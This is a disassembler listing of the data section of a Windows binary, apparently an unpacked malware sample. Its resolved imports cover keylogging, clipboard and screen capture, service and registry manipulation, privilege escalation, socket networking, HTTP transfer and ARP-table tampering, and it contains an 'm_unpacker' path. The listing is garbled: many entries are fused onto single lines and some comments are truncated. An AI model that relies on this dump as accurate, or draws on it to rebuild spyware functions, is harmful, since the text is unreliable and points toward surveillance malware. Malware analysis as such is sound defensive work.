off_438B00	dd offset off_421CB4	; DATA XREF: .nsp0:off_421CD8o
					; .nsp0:00421E04o ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_438B18	dd offset off_421CB4	; DATA XREF: .nsp0:off_421CF0o
					; .nsp0:00421D84o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_438B38	dd offset off_421CB4	; DATA XREF: .nsp0:off_421D08o
					; .nsp0:00421D4Co ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_438B58	dd offset off_421CB4	; DATA XREF: .nsp0:off_421D90o
					; .nsp0:00421DD4o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_438B78	dd offset off_421CB4	; DATA XREF: .nsp0:off_421E10o
					; .nsp0:00421E4Co
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41DF02
		align 8
byte_438B98	db 0			; DATA XREF: sub_401447+1D3w
					; sub_401447+2D2o
		align 2
word_438B9A	dw 0			; DATA XREF: sub_401447+1E3w
word_438B9C	dw 0			; DATA XREF: sub_401447+1E9w
word_438B9E	dw 0			; DATA XREF: sub_401447+1F0w
byte_438BA0	db 0			; DATA XREF: sub_401447+1F7w
byte_438BA1	db 0			; DATA XREF: sub_401447+1FEw
word_438BA2	dw 0			; DATA XREF: sub_401447+204w
dword_438BA4	dd 0							; sub_401447+250w
dword_438BA8	dd 0		byte_438BAC	db 0			; DATA XREF: sub_401447+26Aw
byte_438BAD	db 0			; DATA XREF: sub_401447+27Dw
word_438BAE	dw 0			; DATA XREF: sub_401447+295w
word_438BB0	dw 0			; DATA XREF: sub_401447+2A4w
word_438BB2	dw 0			; DATA XREF: sub_401447+29Cw
dword_438BB4	dd 101h	dup(0)	dword_438FB8	dd 0		byte_438FBC	db 0			; DATA XREF: sub_402FDD+36r
					; sub_4030C0+37r ...
		align 10h
dword_438FC0	dd 7A5h							; sub_4036EB+30r ...
		dd 2 dup(0)
dword_438FCC	dd 2 dup(0)	dword_438FD4	dd 0							; sub_40CE55+5B71o ...
dword_438FD8	dd 0							; sub_405A0C+51r ...
dword_438FDC	dd 0							; .nsp0:0040494Cr ...
		dd 2 dup(0)
dword_438FE8	dd 0							; sub_407652+92w ...
dword_438FEC	dd 0							; sub_40799F+D9w ...
		dd 256h	dup(0)
dword_439948	dd 6 dup(0)						; sub_40778B+138o ...
dword_439960	dd 0							; sub_407276+102o
dword_439964	dd 41h dup(0)	dword_439A68	dd 41h dup(0)	dword_439B6C	dd 0							; sub_407276+114r
dword_439B70	dd 0		dword_439B74	dd 0							; sub_407276+CFr
dword_439B78	dd 20h dup(0)						; sub_407276+BAo
dword_439BF8	dd 0		dword_439BFC	dd 0							; sub_407276+C7w
dword_439C00	dd 0				align 8
dword_439C08	dd 0							; sub_407276+32Eo
dword_439C0C	dd 0A2h	dup(0)	dword_439E94	dd 41h dup(0)	dword_439F98	dd 0							; sub_407276+2E1r
		align 10h
dword_439FA0	dd 0							; sub_407276+340r
dword_439FA4	dd 0		dword_439FA8	dd 0		dword_439FAC	dd 0				dd 0
dword_439FB4	dd 0		dword_439FB8	dd 0							; sub_407276+221o
dword_439FBC	dd 41h dup(0)	dword_43A0C0	dd 41h dup(0)	dword_43A1C4	dd 0							; sub_407276+233r
dword_43A1C8	dd 0		dword_43A1CC	dd 0		dword_43A1D0	dd 20h dup(0)						; sub_407276+1D9o
dword_43A250	dd 0		dword_43A254	dd 0							; sub_407276+1E6w
dword_43A258	dd 0				align 10h
dword_43A260	dd 77F16E6Fh	; resolved to->GDI32.DeleteDC					; sub_4089F2+4CDr
dword_43A264	dd 7C864230h	; resolved to->KERNEL32.Module32First					; sub_413DD2+F5r
dword_43A268	dd 42C5AE03h	; resolved to->WININET.InternetGetConnectedStateExA					; sub_4089F2+862r ...
dword_43A26C	dd 5B894364h						; sub_4089F2+A18r ...
dword_43A270	dd 5B86FEB8h						; sub_4089F2+9E8r ...
dword_43A274	dd 77F15B80h	; resolved to->GDI32.SelectObject					; sub_4089F2+4BDr
dword_43A278	dd 7E41C505h	; resolved to->USER32.GetKeyState					; sub_4021FB+109r ...
dword_43A27C	dd 5B894160h						; sub_4089F2+A10r ...
dword_43A280	dd 77DEB88Ch	; resolved to->ADVAPI32.OpenServiceA					; sub_4089F2+3A9r ...
dword_43A284	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA					; sub_40AAD1+11Er
dword_43A288	dd 77DF3238h	; resolved to->ADVAPI32.StartServiceA					; sub_4089F2+3B1r ...
dword_43A28C	dd 77DFCF32h	; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_4133C0+ADr
dword_43A290	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSet					; sub_4084D3+7Dr ...
dword_43A294	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_4089F2+D2r ...
dword_43A298	dd 5B86FDE8h						; sub_4089F2+9DBr ...
dword_43A29C	dd 77DE5E4Dh	; resolved to->ADVAPI32.CloseServiceHandle					; sub_4089F2+3C9r ...
dword_43A2A0	dd 42C41384h	; resolved to->WININET.InternetCrackUrlA					; sub_4089F2+88Er ...
dword_43A2A4	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_4089F2+2A5w ...
dword_43A2A8	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlA					; sub_4089F2+886r ...
dword_43A2AC	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequencydword_43A2B0	dd 42C2ABF4h	; resolved to->WININET.InternetReadFile					; sub_4089F2+896r ...
dword_43A2B4	dd 71AC0979h	; resolved to->WS2_32.WSAAsyncSelect					; sub_4089F2+52Fw ...
dword_43A2B8	dd 7C863F58h	; resolved to->KERNEL32.Process32Next					; sub_4089F2+CAr ...
dword_43A2BC	dd 76D64B79h	; resolved to->IPHLPAPI.IcmpSendEcho					; sub_40A217+11Ar
dword_43A2C0	dd 76F3798Ah	; resolved to->DNSAPI.DnsFlushResolverCache					; sub_4089F2+A6Dr ...
dword_43A2C4	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4089F2+F2r
dword_43A2C8	dd 77F1AC3Dh	; resolved to->GDI32.GetDIBColorTable					; sub_4089F2+4B5r
dword_43A2CC	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_4089F2+5D8w ...
dword_43A2D0	dd 5B8A3009h						; sub_4089F2+A08r
dword_43A2D4	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4089F2+5CBw ...
dword_43A2D8	dd 71B25099h						; sub_4089F2+B21w
dword_43A2DC	dd 42C367F6h	; resolved to->WININET.InternetGetConnectedState					; sub_4089F2+84Fr ...
dword_43A2E0	dd 7E45A045h	; resolved to->USER32.ExitWindowsEx					; sub_409DF3+15r
dword_43A2E4	dd 5B868E65h						; sub_4089F2+9F0r ...
dword_43A2E8	dd 77DEB635h	; resolved to->ADVAPI32.ControlService					; sub_4089F2+3B9r ...
dword_43A2EC	dd 77E37311h	; resolved to->ADVAPI32.DeleteService					; sub_4089F2+3C1r ...
dword_43A2F0	dd 73B81E3Bh						; sub_4089F2+C5Dr
dword_43A2F4	dd 71AC0B50h	; resolved to->WS2_32.getpeernamedword_43A2F8	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_4018CA:loc_401B70r ...
dword_43A2FC	dd 77F16C0Ah	; resolved to->GDI32.DeleteObjectdword_43A300	dd 5B894541h						; sub_4089F2+A20r ...
dword_43A304	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueA					; sub_4089F2+2DEr ...
dword_43A308	dd 7C82C2D3h	; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_4089F2+DAr ...
dword_43A30C	dd 7CA41110h	; resolved to->SHELL32.ShellExecuteA					; sub_4089F2+B75r ...
dword_43A310	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_4018CA+2Fr ...
dword_43A314	dd 42C2CD78h	; resolved to->WININET.HttpSendRequestA					; sub_4089F2+872r ...
dword_43A318	dd 5B897BE9h						; sub_4089F2+9F8r
dword_43A31C	dd 74344AE7h						; sub_404F08+8Cr ...
dword_43A320	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindow					; sub_4021FB+63r ...
dword_43A324	dd 76D64D5Eh	; resolved to->IPHLPAPI.IcmpCreateFile					; sub_4089F2+910r ...
dword_43A328	dd 74327E4Dh	dword_43A32C	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError					; sub_401447+3Cr ...
dword_43A330	dd 42C2C8A1h	; resolved to->WININET.InternetOpenA					; sub_4089F2+855r
dword_43A334	dd 7E43212Bh	; resolved to->USER32.GetWindowTextA					; sub_4021FB+78r ...
dword_43A338	dd 7E41B933h	; resolved to->USER32.IsWindow					; sub_4089F2+1C2r
dword_43A33C	dd 71AB951Eh	; resolved to->WS2_32.getsockname					; sub_4089F2+786r ...
dword_43A340	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_4036EB+5Er ...
dword_43A344	dd 71AB4489h	; resolved to->WS2_32.WSAIoctl					; sub_4089F2+549w ...
dword_43A348	dd 0CC0004h						; sub_4089F2:loc_4092CDw ...
dword_43A34C	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExA					; sub_4089F2+2C6r ...
dword_43A350	dd 71ABE479h	; resolved to->WS2_32.gethostbyaddr					; sub_4089F2+681w ...
dword_43A354	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_4089F2+323r ...
dword_43A358	dd 77DEAF3Fh	; resolved to->ADVAPI32.EnumServicesStatusA					; sub_4089F2+3D1r ...
dword_43A35C	dd 743452A3h						; sub_404F08+1C6r ...
dword_43A360	dd 42C24399h	; resolved to->WININET.HttpOpenRequestA					; sub_4089F2+86Ar ...
dword_43A364	dd 7E41F3B3h	; resolved to->USER32.GetAsyncKeyState					; sub_4089F2+206w ...
dword_43A368	dd 7E430237h	; resolved to->USER32.OpenClipboard					; sub_4089F2+1D2r ...
dword_43A36C	dd 42C249F2h	; resolved to->WININET.InternetConnectA					; sub_4089F2+87Ar ...
dword_43A370	dd 71AB2D0Fh	; resolved to->WS2_32.recvfrom					; sub_4089F2+606w ...
dword_43A374	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_4089F2+2BFw ...
dword_43A378	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_401447+AAr ...
dword_43A37C	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessToken					; sub_4089F2+316r ...
dword_43A380	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_406C3E+1FCr ...
dword_43A384	dd 77F1B221h	; resolved to->GDI32.CreateDCA					; sub_4089F2+490r
dword_43A388	dd 7E430D7Ah	; resolved to->USER32.GetClipboardData					; sub_4089F2+1DAr ...
dword_43A38C	dd 77DEADA7h	; resolved to->ADVAPI32.OpenSCManagerA					; sub_4089F2+39Cr ...
dword_43A390	dd 76F37ABDh	; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_43A394	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_4010B2+1F9r ...
dword_43A398	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4010B2+9Dr ...
dword_43A39C	dd 7C863DE5h	; resolved to->KERNEL32.Process32First					; sub_4089F2+C2r ...
dword_43A3A0	dd 77F15A7Ah	; resolved to->GDI32.GetDeviceCaps					; sub_4089F2+4ADr
dword_43A3A4	dd 7E42DE87h	; resolved to->USER32.FindWindowA					; sub_4089F2+1BAr ...
dword_43A3A8	dd 5B8A5199h						; sub_413CA9+72r
dword_43A3AC	dd 71AB50C8h	; resolved to->WS2_32.gethostname					; sub_4089F2+78Er
dword_43A3B0	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4033CB+23Br ...
dword_43A3B4	dd 74343318h						; sub_404F08+245r ...
dword_43A3B8	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_4089F2+BAr ...
dword_43A3BC	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExA					; sub_4089F2+2CEr ...
dword_43A3C0	dd 71AB88D3h	; resolved to->WS2_32.listen					; sub_407BFE+9Cr ...
dword_43A3C4	dd 71AB3E00h	; resolved to->WS2_32.bind					; sub_405B23+89r ...
dword_43A3C8	dd 73B81B0Fh	dword_43A3CC	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandle					; sub_40AE4B+205r ...
dword_43A3D0	dd 0		dword_43A3D4	dd 743527D4h						; sub_4089F2+BB8w ...
dword_43A3D8	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_401447+1A0r ...
dword_43A3DC	dd 77F19219h	; resolved to->GDI32.CreateDIBSection					; sub_4089F2+49Dr
dword_43A3E0	dd 77F16F89h	; resolved to->GDI32.BitBlt					; sub_4089F2+4C5r
dword_43A3E4	dd 77F15FF0h	; resolved to->GDI32.CreateCompatibleDC					; sub_4089F2+4A5r
dword_43A3E8	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_4033CB+249r ...
dword_43A3EC	dd 7E430225h	; resolved to->USER32.CloseClipboard					; sub_4089F2+1E2r ...
dword_43A3F0	dd 5B86AA41h						; sub_4089F2+A28r ...
dword_43A3F4	dd 7E42F383h	; resolved to->USER32.SendMessageA					; sub_4089F2+1ADr ...
dword_43A3F8	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeA					; sub_4089F2+E2r ...
dword_43A3FC	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_401447+2DAr ...
dword_43A400	dd 71B2547Ah						; sub_4089F2+B30r
dword_43A404	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_413D67+55r
dword_43A408	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_4089F2+27Ew ...
dword_43A40C	dd 7CA235CBh	; resolved to->SHELL32.SHChangeNotifydword_43A410	dd 76D6A195h	; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_40A093+CEr
dword_43A414	dd 76D69962h	; resolved to->IPHLPAPI.GetIpNetTable					; sub_4089F2+AB7r ...
dword_43A418	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_401BD6+55r ...
dword_43A41C	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_4089F2+674w ...
dword_43A420	dd 7432FF6Bh						; sub_4089F2+BC5w ...
dword_43A424	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_406C3E+250r ...
dword_43A428	dd 5B867750h						; sub_4089F2+A00r ...
dword_43A42C	dd 71AC1028h	; resolved to->WS2_32.accept					; sub_407BFE+B3r ...
dword_43A430	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_401447+2F0r ...
dword_43A434	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_405B23+39Fr ...
dword_43A438	dd 71B2578Ch						; sub_402FDD+C8r ...
dword_43A43C	dd 71AB8769h	; resolved to->WS2_32.WSASocketA					; sub_4018CA+4Fr ...
dword_43A440	dd 71B2517Fh						; sub_4089F2+B1Br
dword_43A444	dd 7C80AC0Fh	; resolved to->KERNEL32.SetErrorMode					; sub_4089F2+ADr ...
dword_43A448	dd 7E41DAEAh	; resolved to->USER32.DestroyWindow					; sub_4089F2+1CAr
		align 10h
dword_43A450	dd 76D64D33h	; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_4089F2+91Dr ...
dword_43A454	dd 7C8217EAh	; resolved to->KERNEL32.SearchPathA					; sub_4089F2+EAr ...
dword_43A458	dd 0							; sub_4089F2+12Bw ...
dword_43A45C	dd 0							; sub_40967F+1Cr
dword_43A460	dd 0							; sub_4089F2:loc_408C47w ...
dword_43A464	dd 0							; sub_40967F+50r
dword_43A468	dd 0							; sub_4089F2:loc_408D21w ...
dword_43A46C	dd 0							; sub_40967F+84r
dword_43A470	dd 0							; sub_40967F:loc_40972Fr
dword_43A474	dd 0							; sub_40967F+B8r
dword_43A478	dd 0							; sub_40967F:loc_409763r
dword_43A47C	dd 0							; sub_40967F+ECr
dword_43A480	dd 0							; sub_4089F2+8D1w ...
dword_43A484	dd 0							; sub_40967F+120r
dword_43A488	dd 0							; sub_40967F:loc_4097CBr ...
dword_43A48C	dd 0							; sub_40967F+154r
dword_43A490	dd 0							; sub_40967F:loc_4097FFr ...
dword_43A494	dd 0							; sub_40967F+188r
dword_43A498	dd 0							; sub_40967F:loc_409833r
dword_43A49C	dd 0							; sub_40967F+1BCr
dword_43A4A0	dd 0							; sub_40967F:loc_409867r
dword_43A4A4	dd 0							; sub_40967F+1F0r
dword_43A4A8	dd 0							; sub_40967F:loc_40989Br
dword_43A4AC	dd 0							; sub_40967F+224r
dword_43A4B0	dd 0							; sub_40967F:loc_4098CFr
dword_43A4B4	dd 0							; sub_40967F+258r
dword_43A4B8	dd 0							; sub_40967F:loc_409903r
dword_43A4BC	dd 0							; sub_40967F+28Cr
dword_43A4C0	dd 0							; sub_40967F:loc_409937r
dword_43A4C4	dd 0							; sub_40967F+2C0r
dword_43A4C8	dd 81h dup(0)	dword_43A6CC	dd 5 dup(0)	dword_43A6E0	dd 0							; sub_40A6A8+54r ...
dword_43A6E4	dd 0							; sub_40A6A8+37r ...
dword_43A6E8	dd 0							; sub_40A7FD+83o
dword_43A6EC	dd 0							; sub_40A7FD+11Bw
dword_43A6F0	dd 0Dh dup(0)						; sub_40A7FD:loc_40A93Ao
dword_43A724	dd 0							; sub_40A6A8+ECr ...
		dd 0
dword_43A72C	dd 0Eh dup(0)	dword_43A764	dd 1000h dup(0)						; sub_40B20Do ...
dword_43E764	dd 0							; sub_40B20D+Eo ...
dword_43E768	dd 0Eh dup(0)	dword_43E7A0	dd 2 dup(0)	dword_43E7A8	dd 0							; sub_40B075+44r ...
		dd 5 dup(0)
dword_43E7C0	dd 0							; sub_40CE55+BC8r
		dd 2D9h	dup(0)
dword_43F328	dd 0							; sub_40B075+2Do ...
		dd 7Fh dup(0)
dword_43F528	dd 0							; sub_4150CE+40w ...
dword_43F52C	dd 0							; sub_40778B:loc_4077D2r ...
dword_43F530	dd 0							; sub_414F93+52w ...
dword_43F534	dd 0							; sub_405B23+7Ew ...
dword_43F538	dd 0							; sub_407F6D+53r ...
dword_43F53C	dd 0							; sub_407276+122w ...
byte_43F540	db 0			; DATA XREF: sub_40CB75+91o
					; sub_40CE55+322Br ...
		align 4
		dd 1883h dup(0)
dword_445750	dd 3A2Ch dup(0)	dword_454000	dd 5206h dup(0)	dword_468818	dd 2FE1h						; sub_40C682+47w ...
		align 10h
dword_468820	dd 0		dword_468824	dd 20h dup(0)						; sub_40C682+456o ...
dword_4688A4	dd 10h dup(0)						; sub_40CE55+91Do
dword_4688E4	dd 24h dup(0)	dword_468974	dd 0							; sub_40C682+46Dw ...
dword_468978	dd 0				dd 3 dup(0)
dword_468988	dd 0		dword_46898C	dd 0							; sub_40CE55+276r
byte_468990	db 0			; DATA XREF: sub_40CCDD+28r
					; sub_40CCDD+30o
		align 4
dword_468994	dd 0		dword_468998	dd 0							; sub_40C682+421r ...
dword_46899C	dd 0							; sub_40CE55+8C1r
dword_4689A0	dd 17h dup(0)						; sub_412F10+131o ...
dword_4689FC	dd 7 dup(0)						; sub_413CA9+A5o
dword_468A18	dd 0							; sub_4151FA+19o
dword_468A1C	dd 78h dup(0)	dword_468BFC	dd 0							; sub_41328A+4Dr ...
dword_468C00	dd 17h dup(0)						; sub_413B75+12Do
dword_468C5C	dd 80h dup(0)						; sub_4131CB+7Do ...
byte_468E5C	db 0			; DATA XREF: sub_41328A+29r
					; sub_41328A+34w
		align 10h
dword_468E60	dd 80h dup(0)						; sub_4134E1+88o ...
dword_469060	dd 81h dup(0)						; sub_412DE7+50o ...
dword_469264	dd 81h dup(0)	byte_469468	db 0			; DATA XREF: sub_414E8C+6Ar
					; sub_414E8C+98w
		align 4
		dd 2 dup(0)
dword_469474	dd 0		dword_469478	dd 0							; sub_416AD4+A4w
		align 10h
word_469480	dw 0			; DATA XREF: sub_416AD4+55r
					; sub_416AD4+9Ao
word_469482	dw 0			; DATA XREF: sub_416AD4+48r
		db 2 dup(0)
word_469486	dw 0			; DATA XREF: sub_416AD4+3Br
word_469488	dw 0			; DATA XREF: sub_416AD4+2Er
word_46948A	dw 0			; DATA XREF: sub_416AD4+21r
		align 10h
dword_469490	dd 0							; sub_416C98+91w
dword_469494	dd 0							; sub_416E3E:loc_416EBAw ...
dword_469498	dd 0							; sub_4185CB:loc_418665w ...
dword_46949C	dd 0		dword_4694A0	dd 0A28h	dword_4694A4	dd 501h		dword_4694A8	dd 5		dword_4694AC	dd 1		dword_4694B0	dd 1							; sub_41C8D3+91w
dword_4694B4	dd 490ED0h						; sub_40C682+316r ...
		dd 0
dword_4694BC	dd 490D70h						; sub_41F409+9r ...
dword_4694C0	dd 0		dword_4694C4	dd 0							; sub_41F7D7+4r ...
		dd 0
off_4694CC	dd offset aCM_unpackerPac ; DATA XREF: sub_41C8D3+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4694D4	db 0			; DATA XREF: sub_417849+2Dw
					; sub_41D17B+5r
		align 4
dword_4694D8	dd 0		dword_4694DC	dd 0							; sub_417849+8Bw
dword_4694E0	dd 0							; sub_41C81A:loc_41C82Cr ...
		align 8
dword_4694E8	dd 0		dword_4694EC	dd 0				dd 0
dword_4694F4	dd 0							; sub_4174DF:loc_4175DBr ...
dword_4694F8	dd 0		dword_4694FC	dd 0							; sub_41A11A+1Ar ...
byte_469500	db 0			; DATA XREF: sub_41A016+3r
					; sub_41A016+98r ...
		align 4
dword_469504	dd 0							; sub_41A1F8+21w ...
byte_469508	db 0			; DATA XREF: sub_41A1F8+51w
		align 4
dword_46950C	dd 0							; sub_41A7C9+3Ar ...
dword_469510	dd 0							; sub_41A7C9+43r ...
dword_469514	dd 0							; sub_41A595+5r
dword_469518	dd 0		dword_46951C	dd 1							; sub_41BD71+4Cw ...
		dd 2 dup(0)
dword_469528	dd 0							; sub_417193+9Dr ...
		dd 3 dup(0)
dword_469538	dd 0							; sub_4179F9+BFr ...
		align 10h
dword_469540	dd 1							; sub_41C159+4w ...
dword_469544	dd 0							; sub_41C63E+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41C8D3:loc_41C8EAo
					; .nsp0:off_4694CCo
		align 4
		dd 3Ah dup(0)
dword_46964C	dd 1							; sub_41CB20+23w ...
dword_469650	dd 0		dword_469654	dd 0							; sub_418880+154w ...
dword_469658	dd 1							; sub_41D1F7:loc_41D261w
dword_46965C	dd 0		word_469660	dw 0			; DATA XREF: sub_41DDDF+1Ao
					; sub_41DDDF+46r
byte_469662	db 0			; DATA XREF: sub_41DDDF+39r
		align 4
dword_469664	dd 7 dup(0)	dword_469680	dd 0							; sub_41DDDF+5Co
dword_469684	dd 0		dword_469688	dd 0		dword_46968C	dd 0		dword_469690	dd 77C2807Ch						; sub_41DF02+38r ...
		align 8
dword_469698	dd 0							; sub_41E162+63w ...
		align 10h
dword_4696A0	dd 0							; sub_41E162+46r
dword_4696A4	dd 10h dup(0)	word_4696E4	dw 0			; DATA XREF: sub_41E3C0+A8r
word_4696E6	dw 0			; DATA XREF: sub_41E162+54r
					; sub_41E3C0+DBr ...
word_4696E8	dw 0			; DATA XREF: sub_41E3C0+CAr
word_4696EA	dw 0			; DATA XREF: sub_41E3C0+D3r
					; sub_41E3C0:loc_41E4B2r
word_4696EC	dw 0			; DATA XREF: sub_41E3C0+C0r
word_4696EE	dw 0			; DATA XREF: sub_41E3C0+B8r
word_4696F0	dw 0			; DATA XREF: sub_41E3C0+B0r
word_4696F2	dw 0			; DATA XREF: sub_41E3C0+9Er
dword_4696F4	dd 0		dword_4696F8	dd 10h dup(0)	word_469738	dw 0			; DATA XREF: sub_41E3C0+46r
word_46973A	dw 0			; DATA XREF: sub_41E162:loc_41E1D9r
					; sub_41E3C0+78r ...
word_46973C	dw 0			; DATA XREF: sub_41E3C0+67r
word_46973E	dw 0			; DATA XREF: sub_41E3C0+70r
					; sub_41E3C0:loc_41E444r
word_469740	dw 0			; DATA XREF: sub_41E3C0+5Dr
word_469742	dw 0			; DATA XREF: sub_41E3C0+55r
word_469744	dw 0			; DATA XREF: sub_41E3C0+4Dr
word_469746	dw 0			; DATA XREF: sub_41E3C0+3Er
dword_469748	dd 0		dword_46974C	dd 0							; sub_41E162:loc_41E2AEr ...
dword_469750	dd 0		dword_469754	dd 0		; resolved to->USER32.MessageBoxA					; sub_41E6EE+2Ew ...
dword_469758	dd 0		; resolved to->USER32.GetActiveWindow					; sub_41E6EE:loc_41E73Dr
dword_46975C	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_41E6EE+60r
dword_469760	dd 0		dword_469764	dd 0							; sub_41F297+6Do
dword_469768	dd 0							; sub_41F297+44o
dword_46976C	dd 0							; sub_41F297+37o
dword_469770	dd 0							; sub_41F297+51o
		align 8
dword_469778	dd 0							; sub_41F845+48w ...
byte_46977C	db 1			; DATA XREF: sub_404EE6r sub_404EE6+9w ...
		align 10h
dword_469780	dd 344968h						; sub_4189F0+14r ...
		dd 7 dup(0)
dword_4697A0	dd 400h	dup(0)						; .nsp0:00438470o
dword_46A7A0	dd 200h							; sub_418749+56r ...
		dd 7 dup(0)
dword_46A7C0	dd 490EF0h						; sub_41B8B0+75r ...
dword_46A7C4	dd 3Fh dup(0)	dword_46A8C0	dd 20h							; sub_41B989+Cr ...
dword_46A8C4	dd 4E4h							; sub_41BFC0+65w ...
		align 10h
dword_46A8D0	dd 3 dup(0)						; sub_41BFC0+171o ...
dword_46A8DC	dd 0							; sub_41BFC0+15Dw ...
byte_46A8E0	db 0			; DATA XREF: sub_41C1FF:loc_41C30Bw
					; sub_41C1FF:loc_41C328w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_46A9E0	db 0			; DATA XREF: sub_41BFC0+5Co
					; sub_41BFC0+AFo ...
byte_46A9E1	db 0			; DATA XREF: sub_417348+5Dr
					; sub_41BFC0+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_46AAE4	dd 0							; sub_41BFC0+12Bw ...
dword_46AAE8	dd 10h							; sub_41915C+5r ...
dword_46AAEC	dd 0							; sub_418B28+259r ...
dword_46AAF0	dd 340650h						; sub_418B28+310w ...
dword_46AAF4	dd 0							; sub_418B28+22Cr ...
dword_46AAF8	dd 1							; sub_418AFDr ...
dword_46AAFC	dd 340650h						; sub_418AFD+8r ...
dword_46AB00	dd 340000h						; sub_415E3D+21r ...
dword_46AB04	dd 142340h						; sub_41C7C2+Fr ...
dword_46AB08	dd 1							; sub_41F409r
dword_46AB0C	dd 1							; sub_41C384+11w ...
dword_46AB10	dd 491B4Ch						; sub_4167D3:loc_416815r ...
dword_46AB14	dd 491B40h						; sub_4167D3+Cr ...
byte_46AB18	db 1			; DATA XREF: sub_4200C4+15r
					; sub_4200C4+1Ew
		align 4
		dd 139h	dup(0)
		dd 50h,	20000h,	74654701h, 74697845h, 65646F43h, 636F7250h
		dd 737365h, 74655301h, 69766E45h, 6D6E6F72h, 56746E65h
		dd 61697261h, 41656C62h, 6F430100h, 7261706Dh, 72745365h
		dd 57676E69h, 6F430100h, 7261706Dh, 72745365h, 41676E69h
		dd 65530100h, 646E4574h, 6946664Fh, 100656Ch, 61427349h
		dd 646F4364h, 72745065h, 73490100h, 52646142h, 50646165h
		dd 1007274h, 55746553h,	6E61686Eh, 64656C64h, 65637845h
		dd 6F697470h, 6C69466Eh, 726574h, 756C4601h, 69466873h
		dd 7542656Ch, 72656666h, 53010073h, 74537465h, 6E614864h
		dd 656C64h, 74654701h, 69727453h, 7954676Eh, 576570h, 74654701h
		dd 69727453h, 7954676Eh, 416570h, 74654701h, 656C6946h
		dd 65707954h, 65470100h, 64745374h, 646E6148h, 100656Ch
		dd 48746553h, 6C646E61h, 756F4365h, 100746Eh, 45746547h
		dd 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h, 1005773h
		dd 45746547h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h
		dd 46010073h, 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh
		dd 676E6972h, 1005773h,	74697845h, 65726854h, 1006461h
		dd 54746547h, 436B6369h, 746E756Fh, 75510100h, 50797265h
